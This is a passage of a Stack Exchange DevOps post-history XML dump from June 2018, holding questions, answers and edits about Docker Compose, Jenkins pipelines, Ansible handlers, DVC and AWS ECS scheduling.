  <row Id="13632" PostHistoryTypeId="2" PostId="4348" RevisionGUID="b662dd80-dc58-4822-b74b-2607452a0170" CreationDate="2018-06-20T21:03:28.073" UserId="8439" Text="I would recommend taking a look at [DVC][1] - an open source version control system for data science projects.&#xD;&#xA;&#xD;&#xA;One of the basic things that it perfectly handles is managing data files (along with code) - inputs, outputs (models), intermediate results. Semantically it's similar to `git-lfs` but unlike `git-lfs` it is capable of managing files like 100GB and what is more important it does not rely on proprietary storage/format. It's completely open-source and is compatible with any network storage as a server to keep data files - S3, GCP cloud storage, SSH, FTP, etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://dvc.org" ContentLicense="CC BY-SA 4.0" />
  <row Id="13634" PostHistoryTypeId="2" PostId="4349" RevisionGUID="8d70d150-7021-4dc1-9209-ed444de9d928" CreationDate="2018-06-21T09:35:50.070" UserId="8332" Text="Amazon's ECS service is really simple and allows you to schedule container tasks&#xD;&#xA;&#xD;&#xA;https://docs.aws.amazon.com/AmazonECS/latest/developerguide/scheduling_tasks.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="13635" PostHistoryTypeId="6" PostId="4341" RevisionGUID="6a48e0c0-02f4-4aad-9491-be0d96f39ac8" CreationDate="2018-06-21T11:41:59.963" UserId="800" Comment="Question is not about a specific cloud provider " Text="&lt;docker&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13636" PostHistoryTypeId="24" PostId="4341" RevisionGUID="6a48e0c0-02f4-4aad-9491-be0d96f39ac8" CreationDate="2018-06-21T11:41:59.963" Comment="Proposed by 800 approved by 40, 13 edit id of 719" ContentLicense="CC BY-SA 4.0" />
  <row Id="13637" PostHistoryTypeId="2" PostId="4350" RevisionGUID="37b7abcb-a464-440e-a73f-458746d57472" CreationDate="2018-06-21T11:59:21.220" UserId="8450" Text="I have two containers (Docker):&#xD;&#xA;&#xD;&#xA;- TensorFlow container&#xD;&#xA;- NodeJS container used as a frontend to the TensorFlow container.&#xD;&#xA;&#xD;&#xA;Both containers have TCP listeners on a port specified using environment variables.&#xD;&#xA;&#xD;&#xA;If I want to scale the NodeJS and TensorFlow containers, for example 2 instances of NodeJS and 4 instances of TensorFlow, what are my options for connecting them to evenly spread the load across the 4 instances of TensorFlow?&#xD;&#xA;&#xD;&#xA;Currently I'm using the TensorFlow container name inside the NodeJS container, but I'm pretty sure that would only take advantage of a single TensorFlow container... Or??" ContentLicense="CC BY-SA 4.0" />
  <row Id="13638" PostHistoryTypeId="1" PostId="4350" RevisionGUID="37b7abcb-a464-440e-a73f-458746d57472" CreationDate="2018-06-21T11:59:21.220" UserId="8450" Text="What methods are available for connecting many-to-many containers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13639" PostHistoryTypeId="3" PostId="4350" RevisionGUID="37b7abcb-a464-440e-a73f-458746d57472" CreationDate="2018-06-21T11:59:21.220" UserId="8450" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13640" PostHistoryTypeId="2" PostId="4351" RevisionGUID="a704db4e-35a3-4156-8088-fde7cdf9d291" CreationDate="2018-06-21T15:48:58.100" UserId="7953" Text="You should assign an specific port to any containers.   &#xD;&#xA;For this configuration you can use `docker-compose` file such as following example:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      TensorFlow-1:&#xD;&#xA;          image: tensorflow:latest&#xD;&#xA;          container_name: first-tensor&#xD;&#xA;          ports:&#xD;&#xA;            - &quot;8020:8010&quot;&#xD;&#xA;&#xD;&#xA;      TensorFlow-2:&#xD;&#xA;          image: tensorflow:latest&#xD;&#xA;          container_name: second-tensor&#xD;&#xA;          ports:&#xD;&#xA;            - &quot;8030:8010&quot;&#xD;&#xA;&#xD;&#xA;Then in the `docker-compose.yml` path, on command-line do it:   &#xD;&#xA;&#xD;&#xA;    sudo docker-compose up&#xD;&#xA;Or&#xD;&#xA;&#xD;&#xA;    sudo docker-compose up -d  &#xD;&#xA;&#xD;&#xA;**NOTE**: `-d` option is for run above command in the background. " ContentLicense="CC BY-SA 4.0" />
  <row Id="13641" PostHistoryTypeId="5" PostId="4351" RevisionGUID="faea87a1-645b-40dd-a069-282367ce11b3" CreationDate="2018-06-21T15:55:01.003" UserId="7953" Comment="edited body" Text="You should assign an specific port to any containers.   &#xD;&#xA;For this configuration you can use `docker-compose` file such as following example:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      TensorFlow-1:&#xD;&#xA;          image: tensorflow:latest&#xD;&#xA;          container_name: first-tensor&#xD;&#xA;          ports:&#xD;&#xA;            - &quot;9001:9000&quot;&#xD;&#xA;&#xD;&#xA;      TensorFlow-2:&#xD;&#xA;          image: tensorflow:latest&#xD;&#xA;          container_name: second-tensor&#xD;&#xA;          ports:&#xD;&#xA;            - &quot;9002:9000&quot;&#xD;&#xA;&#xD;&#xA;Then in the `docker-compose.yml` path, on command-line do it:   &#xD;&#xA;&#xD;&#xA;    sudo docker-compose up&#xD;&#xA;Or&#xD;&#xA;&#xD;&#xA;    sudo docker-compose up -d  &#xD;&#xA;&#xD;&#xA;**NOTE**: `-d` option is for run above command in the background. " ContentLicense="CC BY-SA 4.0" />
  <row Id="13642" PostHistoryTypeId="5" PostId="4351" RevisionGUID="11061852-5148-480d-a730-3bdc7a746fee" CreationDate="2018-06-21T16:01:33.377" UserId="7953" Comment="edited body" Text="You should assign an specific port to any containers.   &#xD;&#xA;For this configuration you can use `docker-compose` file such as following example:&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      TensorFlow-1:&#xD;&#xA;          image: gcr.io/tensorflow/tensorflow:latest-gpu&#xD;&#xA;          container_name: first-tensor&#xD;&#xA;          ports:&#xD;&#xA;            - &quot;9001:8888&quot;&#xD;&#xA;&#xD;&#xA;      TensorFlow-2:&#xD;&#xA;          image: gcr.io/tensorflow/tensorflow:latest-gpu&#xD;&#xA;          container_name: second-tensor&#xD;&#xA;          ports:&#xD;&#xA;            - &quot;9002:8888&quot;&#xD;&#xA;&#xD;&#xA;Then in the `docker-compose.yml` path, on command-line do it:   &#xD;&#xA;&#xD;&#xA;    sudo docker-compose up&#xD;&#xA;Or&#xD;&#xA;&#xD;&#xA;    sudo docker-compose up -d  &#xD;&#xA;&#xD;&#xA;**NOTE**: `-d` option is for run above command in the background.    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Finally you have two tensorflow containers with `9001` and `9002` ports.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13649" PostHistoryTypeId="50" PostId="3066" RevisionGUID="bee3f25c-79a3-4148-8f33-f9f73292fd22" CreationDate="2018-06-21T20:45:02.253" UserId="-1" />
  <row Id="13650" PostHistoryTypeId="50" PostId="3226" RevisionGUID="4c61674e-6a68-428a-b08c-5cf3c30e926b" CreationDate="2018-06-21T23:45:43.723" UserId="-1" />
  <row Id="13655" PostHistoryTypeId="2" PostId="4355" RevisionGUID="820a4ff4-b70e-4e6d-8f73-9c9bc430af42" CreationDate="2018-06-22T06:19:46.033" UserId="7833" Text="I'm in the process of converting multiple repositories into a single repository, our CI tool of choice is Jenkins due to the conversion of multiple repository structures into a single one 2 main issues have arisen.&#xD;&#xA;&#xD;&#xA;1. Build/test times have increased significantly as all the builds/tests have to be run for every single commit. This is partially alleviated by using a build tool, in our case we have gone with using Buck.&#xD;&#xA;&#xD;&#xA;2. After all the tests associated with the committed code are run, I have a deployment Jenkinsfile for each project. How will I be able to only trigger the Jenkinsfiles for projects that need to be re-deployed? And if I am able to do so, [is this a correct practice][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2133/what-are-best-practices-for-creating-and-triggering-various-pipelines-regards-mo" ContentLicense="CC BY-SA 4.0" />
  <row Id="13656" PostHistoryTypeId="1" PostId="4355" RevisionGUID="820a4ff4-b70e-4e6d-8f73-9c9bc430af42" CreationDate="2018-06-22T06:19:46.033" UserId="7833" Text="Triggering specific pipeline builds for monorepos in Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="13657" PostHistoryTypeId="3" PostId="4355" RevisionGUID="820a4ff4-b70e-4e6d-8f73-9c9bc430af42" CreationDate="2018-06-22T06:19:46.033" UserId="7833" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13659" PostHistoryTypeId="2" PostId="4356" RevisionGUID="c210bb4d-e7b9-4ad7-985e-7df47dc61185" CreationDate="2018-06-22T06:59:06.747" UserId="707" Text="Production engineering: &quot;Production engineering is a combination of manufacturing technology, engineering sciences with management science.&quot; (Wikipedia)&#xD;&#xA;&#xD;&#xA;Is there any relationship to/with DevOps?&#xD;&#xA;&#xD;&#xA;To avoid an opiniated discussion, please establish, formalize with facts and use references in your answers." ContentLicense="CC BY-SA 4.0" />
  <row Id="13660" PostHistoryTypeId="1" PostId="4356" RevisionGUID="c210bb4d-e7b9-4ad7-985e-7df47dc61185" CreationDate="2018-06-22T06:59:06.747" UserId="707" Text="Does DevOps, or not relate to &quot;production engineering&quot;?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13661" PostHistoryTypeId="3" PostId="4356" RevisionGUID="c210bb4d-e7b9-4ad7-985e-7df47dc61185" CreationDate="2018-06-22T06:59:06.747" UserId="707" Text="&lt;methodology&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13671" PostHistoryTypeId="2" PostId="4361" RevisionGUID="f0526e34-d74d-4a0e-8785-160a01e53194" CreationDate="2018-06-22T13:05:41.470" UserId="3533" Text="According to Facebook&#xD;&#xA;&gt; Production Engineering at Facebook is a hybrid between software and&#xD;&#xA;&gt; systems engineering; it keeps Facebook running smoothly and scaling&#xD;&#xA;&gt; efficiently. The Production Engineering team works within Facebook’s&#xD;&#xA;&gt; product and infrastructure teams to make sure our services are&#xD;&#xA;&gt; reliable and scalable. The team writes code and debugs hard problems&#xD;&#xA;&gt; in live production that impact more than 2 billion people around the&#xD;&#xA;&gt; world. From backend services like our Hadoop data warehouses, to&#xD;&#xA;&gt; frontend services like News Feed, to infrastructure components like&#xD;&#xA;&gt; our caching infrastructure, load balancing and deployment systems, the&#xD;&#xA;&gt; Production Engineering team keeps Facebook running.&#xD;&#xA;&#xD;&#xA;as *team works within product and infrastructure* meaning it works between developers and operations." ContentLicense="CC BY-SA 4.0" />
  <row Id="13672" PostHistoryTypeId="2" PostId="4362" RevisionGUID="cbc3ae19-91ad-4a19-9eb3-265a70d3b5dc" CreationDate="2018-06-22T13:59:05.237" UserId="8468" Text="I've been experimenting with creating a new pipeline, using the built-in pipeline editor (i.e. not from SCM). The strange bit is that, when I run _any_ `sh` step, I receive the following error:&#xD;&#xA;&#xD;&#xA;&gt; sh: 1: Syntax error: end of file unexpected (expecting &quot;done&quot;)&#xD;&#xA;&#xD;&#xA;This comes from the following MWE:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;&#xD;&#xA;        stages {&#xD;&#xA;            stage('Test') {&#xD;&#xA;                steps {&#xD;&#xA;                    sh 'echo &quot;FOO!&quot;'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The odd bit is that my pipeline scripts that _are_ coming from SCM are working just fine, despite the fact that they have loads of shell scripts.&#xD;&#xA;&#xD;&#xA;Running Jenkins 2.73.2." ContentLicense="CC BY-SA 4.0" />
  <row Id="13673" PostHistoryTypeId="1" PostId="4362" RevisionGUID="cbc3ae19-91ad-4a19-9eb3-265a70d3b5dc" CreationDate="2018-06-22T13:59:05.237" UserId="8468" Text="Jenkins can't run shell scripts from &quot;internal&quot; pipeline script" ContentLicense="CC BY-SA 4.0" />
  <row Id="13674" PostHistoryTypeId="3" PostId="4362" RevisionGUID="cbc3ae19-91ad-4a19-9eb3-265a70d3b5dc" CreationDate="2018-06-22T13:59:05.237" UserId="8468" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13675" PostHistoryTypeId="4" PostId="4356" RevisionGUID="c3c95c41-99ff-40cb-b907-b4da66210dfa" CreationDate="2018-06-22T14:02:06.257" UserId="40" Comment="improve title" Text="Is there any relationship ,between &quot;Production engineering&quot; and DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13676" PostHistoryTypeId="4" PostId="4362" RevisionGUID="e02b8343-9333-4319-95b5-dad362ef824f" CreationDate="2018-06-22T14:12:13.293" UserId="8468" Comment="edited title" Text="Jenkins &quot;internal&quot; pipeline script producing errors when running sh steps" ContentLicense="CC BY-SA 4.0" />
  <row Id="13677" PostHistoryTypeId="2" PostId="4363" RevisionGUID="1d434fea-9c62-42ec-9958-37bc8ea4d6b7" CreationDate="2018-06-22T14:17:34.427" UserId="8468" Text="Apparently this was caused by the pipeline name having an apostrophe character in it. Renaming the build solved the issue." ContentLicense="CC BY-SA 4.0" />
  <row Id="13678" PostHistoryTypeId="5" PostId="4361" RevisionGUID="3e60fc49-34a0-4b72-afe1-beedc7ecb018" CreationDate="2018-06-22T15:16:15.603" UserId="3533" Comment="added 3 characters in body" Text="According to Facebook&#xD;&#xA;&gt; Production Engineering at Facebook is a hybrid between software and&#xD;&#xA;&gt; systems engineering; it keeps Facebook running smoothly and scaling&#xD;&#xA;&gt; efficiently. The Production Engineering team works within Facebook’s&#xD;&#xA;&gt; product and infrastructure teams to make sure our services are&#xD;&#xA;&gt; reliable and scalable. The team writes code and debugs hard problems&#xD;&#xA;&gt; in live production that impact more than 2 billion people around the&#xD;&#xA;&gt; world. From backend services like our Hadoop data warehouses, to&#xD;&#xA;&gt; frontend services like News Feed, to infrastructure components like&#xD;&#xA;&gt; our caching infrastructure, load balancing and deployment systems, the&#xD;&#xA;&gt; Production Engineering team keeps Facebook running.&#xD;&#xA;&#xD;&#xA;as *team works within product and infrastructure* meaning it works along with developers and operations." ContentLicense="CC BY-SA 4.0" />
  <row Id="13679" PostHistoryTypeId="50" PostId="3798" RevisionGUID="78c99a18-f80c-4697-82f0-7a16d5e0d195" CreationDate="2018-06-22T16:04:25.903" UserId="-1" />
  <row Id="13680" PostHistoryTypeId="50" PostId="3112" RevisionGUID="581e0a7b-680d-41f8-b7cd-8bb796ede5a6" CreationDate="2018-06-22T17:05:01.947" UserId="-1" />
  <row Id="13681" PostHistoryTypeId="2" PostId="4364" RevisionGUID="06e8bd43-4924-4057-b356-618fc1043ef5" CreationDate="2018-06-22T20:42:19.727" UserId="4883" Text="I am getting the output from my previous executions something like this:&#xD;&#xA;&#xD;&#xA;    [{u'Value': '2018-06-21', u'Key': 'Deletion_Date'}]&#xD;&#xA;&#xD;&#xA;I want to get only 2018-06-21 saved in a variable.&#xD;&#xA;&#xD;&#xA;I tried this&#xD;&#xA;&#xD;&#xA;    deletion_date = response1['TagList'][0]['Value']&#xD;&#xA;&#xD;&#xA;But I am getting error &#xD;&#xA;&#xD;&#xA;    deletion_date = response1['TagList'][0]['Value']&#xD;&#xA;    IndexError: list index out of range&#xD;&#xA;&#xD;&#xA;Could someone help me with this or some alternative solution" ContentLicense="CC BY-SA 4.0" />
  <row Id="13682" PostHistoryTypeId="1" PostId="4364" RevisionGUID="06e8bd43-4924-4057-b356-618fc1043ef5" CreationDate="2018-06-22T20:42:19.727" UserId="4883" Text="Python Dictionary" ContentLicense="CC BY-SA 4.0" />
  <row Id="13683" PostHistoryTypeId="3" PostId="4364" RevisionGUID="06e8bd43-4924-4057-b356-618fc1043ef5" CreationDate="2018-06-22T20:42:19.727" UserId="4883" Text="&lt;amazon-web-services&gt;&lt;python&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13684" PostHistoryTypeId="50" PostId="3144" RevisionGUID="ad9a8168-d9ed-43e4-8c27-f1a9a653dc09" CreationDate="2018-06-22T23:05:21.197" UserId="-1" />
  <row Id="13686" PostHistoryTypeId="2" PostId="4365" RevisionGUID="32328ceb-74ff-4614-9f6b-9bdf0408e3b8" CreationDate="2018-06-23T02:49:34.313" UserId="8476" Text="Command run: `sudo ansible-playbook site.yml --connection=local`&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Distributor ID: Ubuntu&#xD;&#xA;Description:    Ubuntu 18.04 LTS&#xD;&#xA;Release:        18.04&#xD;&#xA;Codename:       bionic&#xD;&#xA;&#xD;&#xA;ansible 2.5.5&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I'm encountering this error only on my first run through after I change the following variable in the following file:&#xD;&#xA;&#xD;&#xA;./group_vars/all&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;ntpserver: pool.ntp.org&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;`TASK [common : Configure NTP file] **************************************************************************************************************&#xD;&#xA;ERROR! The requested handler 'restart ntp' was not found in either the main handlers list nor in the listening handlers list&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;On my second run through, I'm having no issues:&#xD;&#xA;&#xD;&#xA;`TASK [common : Configure NTP file] **************************************************************************************************************&#xD;&#xA;ok: [127.0.0.1] =&gt; {&quot;changed&quot;: false, &quot;checksum&quot;: &quot;cc9e1a2d8777588fa4675e52f7ca7e352b23188a&quot;, &quot;dest&quot;: &quot;/etc/ntp.conf&quot;, &quot;gid&quot;: 0, &quot;group&quot;: &quot;root&quot;, &quot;mode&quot;: &quot;0644&quot;, &quot;owner&quot;: &quot;root&quot;, &quot;path&quot;: &quot;/etc/ntp.conf&quot;, &quot;size&quot;: 139, &quot;state&quot;: &quot;file&quot;, &quot;uid&quot;: 0}`&#xD;&#xA;&#xD;&#xA;The folder and file structure I'm using is as follows:&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/ansible-examples/tree/master/lamp_simple_rhel7&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;./roles/common/handlers&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;- name: Restart NTP&#xD;&#xA;  service: name=ntpd state=restarted`&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;./roles/common/tasks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;---&#xD;&#xA;- name: Install NTP&#xD;&#xA;  apt: name=ntp state=present&#xD;&#xA;  tags: ntp&#xD;&#xA;&#xD;&#xA;- name: Configure NTP file&#xD;&#xA;  template: src=ntp.conf.j2 dest=/etc/ntp.conf&#xD;&#xA;  tags: ntp&#xD;&#xA;  notify: restart ntp&#xD;&#xA;&#xD;&#xA;- name: Install common packages&#xD;&#xA;  apt: name={{ item }} state=present&#xD;&#xA;  with_items:&#xD;&#xA;    - fail2ban&#xD;&#xA;    - ranger&#xD;&#xA;&#xD;&#xA;- name: Start the NTP service&#xD;&#xA;  service: name=ntp state=started enabled=yes&#xD;&#xA;  tags: ntp&#xD;&#xA;&#xD;&#xA;- name: Upgrade all packages to the latest version&#xD;&#xA;  become: true&#xD;&#xA;  apt:&#xD;&#xA;    upgrade: yes&#xD;&#xA;    update_cache: yes&#xD;&#xA;    cache_valid_time: 86400 # one-day&#xD;&#xA;&lt;/pre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13687" PostHistoryTypeId="1" PostId="4365" RevisionGUID="32328ceb-74ff-4614-9f6b-9bdf0408e3b8" CreationDate="2018-06-23T02:49:34.313" UserId="8476" Text="Ansible - Handler not found on first attempt" ContentLicense="CC BY-SA 4.0" />
  <row Id="13688" PostHistoryTypeId="3" PostId="4365" RevisionGUID="32328ceb-74ff-4614-9f6b-9bdf0408e3b8" CreationDate="2018-06-23T02:49:34.313" UserId="8476" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13689" PostHistoryTypeId="5" PostId="4356" RevisionGUID="3ed0302e-2f82-4733-a16b-0f3251fa98f8" CreationDate="2018-06-23T06:52:53.620" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wiktionary.org/wiki/opinionated#Adjective&gt;)." Text="Production engineering: &quot;Production engineering is a combination of manufacturing technology, engineering sciences with management science.&quot; (Wikipedia)&#xD;&#xA;&#xD;&#xA;Is there any relationship to/with DevOps?&#xD;&#xA;&#xD;&#xA;To avoid an opinionated discussion, please establish, formalize with facts and use references in your answers.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13690" PostHistoryTypeId="4" PostId="4356" RevisionGUID="3ed0302e-2f82-4733-a16b-0f3251fa98f8" CreationDate="2018-06-23T06:52:53.620" UserId="7917" Comment="Copy edited (e.g. ref. &lt;https://en.wiktionary.org/wiki/opinionated#Adjective&gt;)." Text="Is there any relationship between &quot;production engineering&quot; and DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13691" PostHistoryTypeId="24" PostId="4356" RevisionGUID="3ed0302e-2f82-4733-a16b-0f3251fa98f8" CreationDate="2018-06-23T06:52:53.620" Comment="Proposed by 7917 approved by 707 edit id of 720" ContentLicense="CC BY-SA 4.0" />
  <row Id="13692" PostHistoryTypeId="50" PostId="4153" RevisionGUID="f0d64966-7ee6-4761-8ccf-b1c837fd7148" CreationDate="2018-06-23T07:05:43.260" UserId="-1" />
  <row Id="13693" PostHistoryTypeId="2" PostId="4366" RevisionGUID="e75bbbfe-6dd2-404d-bf76-f3b379cd0787" CreationDate="2018-06-23T08:21:03.127" UserId="47" Text="You're not showing how the response example you shown relates to `response1` (there is no `'TagList'` in your example). It looks like `response1['TagList']` is an empty list.&#xD;&#xA;&#xD;&#xA;Otherwise you're on the right track (you can always check your exact case directly in the python shell):&#xD;&#xA;&#xD;&#xA;    $ python&#xD;&#xA;    Python 2.7.12 (default, Jul 01 2016, 15:36:53) [GCC] on linux2&#xD;&#xA;    Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xD;&#xA;    &gt;&gt;&gt; response = [{u'Value': '2018-06-21', u'Key': 'Deletion_Date'}]&#xD;&#xA;    &gt;&gt;&gt; response[0]&#xD;&#xA;    {u'Key': 'Deletion_Date', u'Value': '2018-06-21'}&#xD;&#xA;    &gt;&gt;&gt; response[0]['Value']&#xD;&#xA;    '2018-06-21'&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13695" PostHistoryTypeId="50" PostId="4157" RevisionGUID="90582c23-f079-40ff-b414-81cb4b2a415f" CreationDate="2018-06-23T17:05:55.113" UserId="-1" />
  <row Id="13696" PostHistoryTypeId="2" PostId="4367" RevisionGUID="89e24480-7b93-4ec5-a902-021db9abad91" CreationDate="2018-06-23T17:43:36.927" UserId="7715" Text="Name of the handler &quot;Restart NTP&quot; does not fit the handler notified &quot;restart ntp&quot;. This is the reason of the error. On the second run the configuration file /etc/ntp.conf did not change (&quot;changed&quot;: false). Therefor the handler was not notified, was not looked for and no error was reported. " ContentLicense="CC BY-SA 4.0" />
  <row Id="13697" PostHistoryTypeId="50" PostId="3421" RevisionGUID="ee369088-d381-463c-9e3e-365067d371cc" CreationDate="2018-06-23T19:05:55.277" UserId="-1" />
  <row Id="13698" PostHistoryTypeId="5" PostId="4341" RevisionGUID="d1772ce1-89ab-4593-9649-27dcf1989f47" CreationDate="2018-06-23T21:15:47.777" UserId="7917" Comment="Copy edited." Text="I have a dockerized Python process that a client would like to run once or twice a month. It calls a number of Google APIs and stores the results in a Google Sheet. It does not accept network requests. I want to provide one &quot;magic button&quot; that will spin up the Docker container and then shut everything down.&#xD;&#xA;&#xD;&#xA;Some background: I had previously deployed this to an AWS EC2 micro instance via Docker Cloud. My client got a Docker Cloud account and was able to run the container on demand, relatively painlessly. There are two problems with this workflow:&#xD;&#xA;&#xD;&#xA; 1. The provisioned EC2 instance (Docker host) was running 24/7, whether&#xD;&#xA;    the Docker container was run up or not. This became expensive.&#xD;&#xA; 2. Docker cloud shut down a month ago.&#xD;&#xA;&#xD;&#xA;Alternatives seem to be Google and AWS Kubernetes services. My reservation is that they will be too complicated for my client to use. Advice?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13699" PostHistoryTypeId="24" PostId="4341" RevisionGUID="d1772ce1-89ab-4593-9649-27dcf1989f47" CreationDate="2018-06-23T21:15:47.777" Comment="Proposed by 7917 approved by 707, 40 edit id of 721" ContentLicense="CC BY-SA 4.0" />
  <row Id="13700" PostHistoryTypeId="2" PostId="4368" RevisionGUID="a9d3f440-68a4-4041-8b18-5526a1e1644c" CreationDate="2018-06-23T21:31:19.683" UserId="249" Text="Terraform docs are pretty comprehensive, so if it’s not in the docs it’s probably not implemented yet.&#xA;&#xA;However, they’re very responsive to feature requests posted as GitHub issues, particularly those that indicate that the feature is available via the AWS CLI (or more specifically, the AWS Go SDK). In my experience, feature requests I’ve raised have usually been available in a new AWS provider release within a month or so.&#xA;&#xA;I’d suggest doing up a new issue here:&#xA;https://github.com/terraform-providers/terraform-provider-aws/issues&#xA;&#xA;(I did do a quick search to see if ECS attributes have been raised before and couldn’t see any at a quick glance, but you may like to as well!)" ContentLicense="CC BY-SA 4.0" />
  <row Id="13701" PostHistoryTypeId="50" PostId="3951" RevisionGUID="8a7a50c1-37c7-4087-92bf-4b08864c2592" CreationDate="2018-06-23T22:05:55.237" UserId="-1" />
  <row Id="13702" PostHistoryTypeId="2" PostId="4369" RevisionGUID="b06bf964-b9e9-4bcc-9a51-87f79494fb22" CreationDate="2018-06-24T00:28:52.827" UserId="8484" Text="I'm creating a webapp with a python backend, Nginx as the server, and Vue as my frontend web framework.  When deploying to production, I build an nginx container that, on build, compiles all my frontend code into minified static files it can serve (takes ~2minutes), and on run, serves those static files and routes non-static-file HTTP requests to a different API Container (running the python app).  (So two containers: nginx, and api server).&#xD;&#xA;&#xD;&#xA;The problem I'm facing is that during development, I want to use a third container to run a hot-reloading webpack-dev-server for the frontend files, instead of having to wait two whole minutes for webpack to rebuild the frontend bundle every time I make a change. For reference, building the frontend code into servable static files takes around two minutes, whereas the webpack-dev-server can reflect changes in &lt;3 seconds)&#xD;&#xA;&#xD;&#xA;My idea is to have a production nginx config that handles the production case of serving static content directly from the nginx container, and a dev nginx config that handles the dev case of routing those static requests to the webpack-dev-server container.  But having different docker-compose files for different environments seems to go against docker philosophy.  Am I approaching this incorrectly?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13703" PostHistoryTypeId="1" PostId="4369" RevisionGUID="b06bf964-b9e9-4bcc-9a51-87f79494fb22" CreationDate="2018-06-24T00:28:52.827" UserId="8484" Text="Using docker-compose, what's the recommended way to handle different sets of containers for dev and prod?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13704" PostHistoryTypeId="3" PostId="4369" RevisionGUID="b06bf964-b9e9-4bcc-9a51-87f79494fb22" CreationDate="2018-06-24T00:28:52.827" UserId="8484" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13706" PostHistoryTypeId="50" PostId="4167" RevisionGUID="a5696799-8316-4b4c-b0bd-7c5c18864cee" CreationDate="2018-06-24T07:10:56.430" UserId="-1" />
  <row Id="13707" PostHistoryTypeId="50" PostId="3715" RevisionGUID="bbf67289-170e-4169-9d86-a64a5104e529" CreationDate="2018-06-24T08:11:28.147" UserId="-1" />
  <row Id="13708" PostHistoryTypeId="50" PostId="3089" RevisionGUID="173e16e8-a908-4bc5-b81e-763653cc1acf" CreationDate="2018-06-24T15:16:37.213" UserId="-1" />
  <row Id="13709" PostHistoryTypeId="50" PostId="3722" RevisionGUID="6c973ddf-2785-4687-b76f-81a55107fcef" CreationDate="2018-06-24T17:17:33.667" UserId="-1" />
  <row Id="13710" PostHistoryTypeId="50" PostId="1193" RevisionGUID="51393ab6-ff17-432d-aa4e-19913e01157e" CreationDate="2018-06-24T18:17:56.410" UserId="-1" />
  <row Id="13711" PostHistoryTypeId="50" PostId="1422" RevisionGUID="a92be2b4-f8df-4252-b4ca-3a2e1905fe01" CreationDate="2018-06-24T19:18:42.433" UserId="-1" />
  <row Id="13712" PostHistoryTypeId="2" PostId="4370" RevisionGUID="a11266b0-42e2-49fc-877f-b2e1544717b3" CreationDate="2018-06-24T19:47:31.520" UserId="8489" Text="**docker-compose.override.yml and `extend`**&#xD;&#xA;&#xD;&#xA;An outline answer would be to have a `docker-compose.yml` file for your common base configuration and a `docker-compose.override.yml` for specific environments, using the docker-compose `extend` keyword/command/statement.&#xD;&#xA;&#xD;&#xA;The above approach is on the basis that one would consider the production environment as the pure, base setup and dev environments would be based off of this (inherited), with any specifics kept out of the production setup. &#xD;&#xA;&#xD;&#xA;Your dev-specific packer setup would be configured in the `docker-compose.override.yml` file. Configuration that is common across all environments would reside in `docker-compose.yml`.&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA;This seems to be the best practice approach, based on the following references:&#xD;&#xA;&#xD;&#xA; - The inheritance/nesting approach is explored here: [Inheritance or&#xD;&#xA;   nesting with docker compose][1]&#xD;&#xA;   &#xD;&#xA; - The official documentation here - [Share Compose configurations&#xD;&#xA;   between files and projects][2] - describes the docker compose&#xD;&#xA;   `extend` keyword.&#xD;&#xA;&#xD;&#xA;**Some things you may or may not need to consider for your specific case**&#xD;&#xA;&#xD;&#xA; - There may or may not be some bespoke config code required in&#xD;&#xA;   _addition_ i.e. in your deployment itself, e.g. bash scripts etc., should the above approach provide most of what you need 